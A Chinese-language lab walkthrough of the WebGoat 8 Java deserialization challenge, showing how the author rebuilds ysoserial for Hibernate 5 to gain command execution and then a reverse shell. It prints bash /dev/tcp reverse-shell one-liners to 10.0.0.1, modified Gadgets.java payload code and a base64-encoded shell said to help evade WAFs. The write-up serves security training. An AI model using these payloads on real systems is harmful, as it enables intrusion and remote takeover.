在本文中,我们将以(部署在Docker上的)WebGoat 8反序列化挑战题为例,为读者详细介绍攻击者利用反序列化漏洞的过程。实际上,这里只需让sleep函数运行5秒钟,即可解决这一挑战题。但是,为了增加难度,我们将设法获得反向shell。
简介
Java反序列化漏洞在安全社区中已为人所知多年。早在2015年,两名安全研究人员Chris Frohoff和Gabriel Lawrence就在AppSecCali会议上发表了题目为Marshalling Pickles的演讲。此外,他们还发布了一款有效载荷生成器,名为ysoserial。
借助于对象序列化技术,开发人员可以将内存中的对象转换为二进制和文本数据格式来进行存储或传输。但是,利用不可信的数据来反序列化对象时,可能会导致远程代码执行漏洞。
挖掘漏洞
正如挑战题中所提到的,易受攻击的页面从用户输入中获取Base64格式的序列化Java对象,并盲目地对其进行了反序列化处理。我们将通过提供一个序列化对象来利用该漏洞,因为该对象会触发Property Oriented Programming Chain(POP链),从而在反序列化期间实现远程命令执行攻击。
WebGoat 8反序列化漏洞挑战题
接下来,我们需要启动Burp软件,并安装一个名为Java-Deserialization-Scanner的插件。该插件提供了2个主要功能:其中一个功能用于扫描,另一个功能是借助ysoserial工具生成漏洞利用代码。
Burp Suite的Java反序列化漏洞扫描插件
扫描远程端点后,该Burp插件将显示下列内容:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
听起来很棒!
漏洞利用
现在,让我们进入下一个步骤:点开exploitation选项卡,以实现任意命令执行。
咦?这里ysoserial似乎遇到了一个问题。为了深入研究该问题,请切换至控制台,看看究竟是怎么回事。
有效载荷生成错误
通过观察ysoserial,我们发现,这里有两种不同的POP链可用于Hibernate。但是,通过试验发现,这两种有效载荷都无法在目标系统上正常执行。
ysoserial提供的有效载荷
那么,该插件是如何生成有效载荷来触发sleep命令的呢?
为此,我们决定考察一下该插件的源代码,具体链接如下所示:
[federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件,用于检测和利用Java反序列化漏洞……github.com](https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java "federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件,用于检测和利用Java反序列化漏洞……github.com")
阅读该插件的源代码之后,我们发现其中的有效载荷是以硬编码的方式提供的,所以,我们需要找到一种方法来生成这种形式的有效载荷,只有这样才能使其正常工作。
有效载荷是以硬编码的方式提供的。
在我们自己的研究和大神的帮助下,我们发现,为了让我们的有效载荷能够正常工作,必须对当前版本的ysoserial进行适当的修改。
我们下载了ysoserial的源代码,并决定使用Hibernate 5完成重新编译工作。为了提供Hibernate 5成功构建ysoserial,我们还必须将javax.el包添加到pom.xml文件中。
此外,我们还向原始项目发送了一个Pull请求,以便在选择hibernate5配置文件时对构建过程进行相应的修订。
更新后的pom.xml文件
这样的话,我们就可以重新构建ysoserial了,具体命令如下所示:
mvn clean package -DskipTests -Dhibernate5
然后,我们就可以生成有效载荷了:
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
适用于Hibernate 5的有效载荷
我们可以通过下列命令来访问docker容器,以验证我们的命令是否已正确执行:
docker exec -it <CONTAINER_ID> /bin/bash
如您所见,我们的有效载荷在机器上成功执行了!
也就是说,我们的漏洞利用成功了!
接下来,我们要枚举目标计算机上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
这里只有Perl和Bash是可用的。下面,让我们精心构造一个有效载荷,以便使其为我们返回一个反向shell。
我们在Pentest Monkeys上看了一些单行反向shell:
[反壳shell备忘录如果你的运气足够好,在渗透测试期间找到命令执行漏洞的话,那么很快就会... pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet "反壳shell备忘录如果你的运气足够好,在渗透测试期间找到命令执行漏洞的话,那么很快就会... pentestmonkey.net")
于是,决定尝试一下反向shell Bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但是,正如您可能知道的那样,java.lang.Runtime.exec()
具有很大的局限性:不支持重定向或管道等shell操作符。
于是,我们决定使用由Java语言编写的反向shell。实际上,这里只是修改了Gadgets.java
上的相关源代码,以生成相应的反向shell有效载荷。
以下是我们需要修改的路径
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
中从第116到118行。
下面是来自Pentest Monkeys的Java反向shell,尚无法正常使用:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
在对代码进行了一些修改之后,我们得到了以下结果:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
让我们重新构建ysoserial,并对生成的有效载荷进行测试。
用Bash反向shell生成武器化的有效载荷
看到没:我们得到了一个反向shell!
太棒了!
有效载荷生成过程的推广
在研究过程中,我们发现后面链接中的编码器也能够替我们完成这个工作,具体链接为http://jackson.thuraisamy.me/runtime-exec-payloads.html
。
通过如下所示的Bash反向shell命令:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
生成的有效载荷如下所示:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
太棒了!这个编码器对于绕过WAF来说也非常有用!
参考资料
在此,我们要特别感谢Federico Dotta和Mahmoud ElMorabea!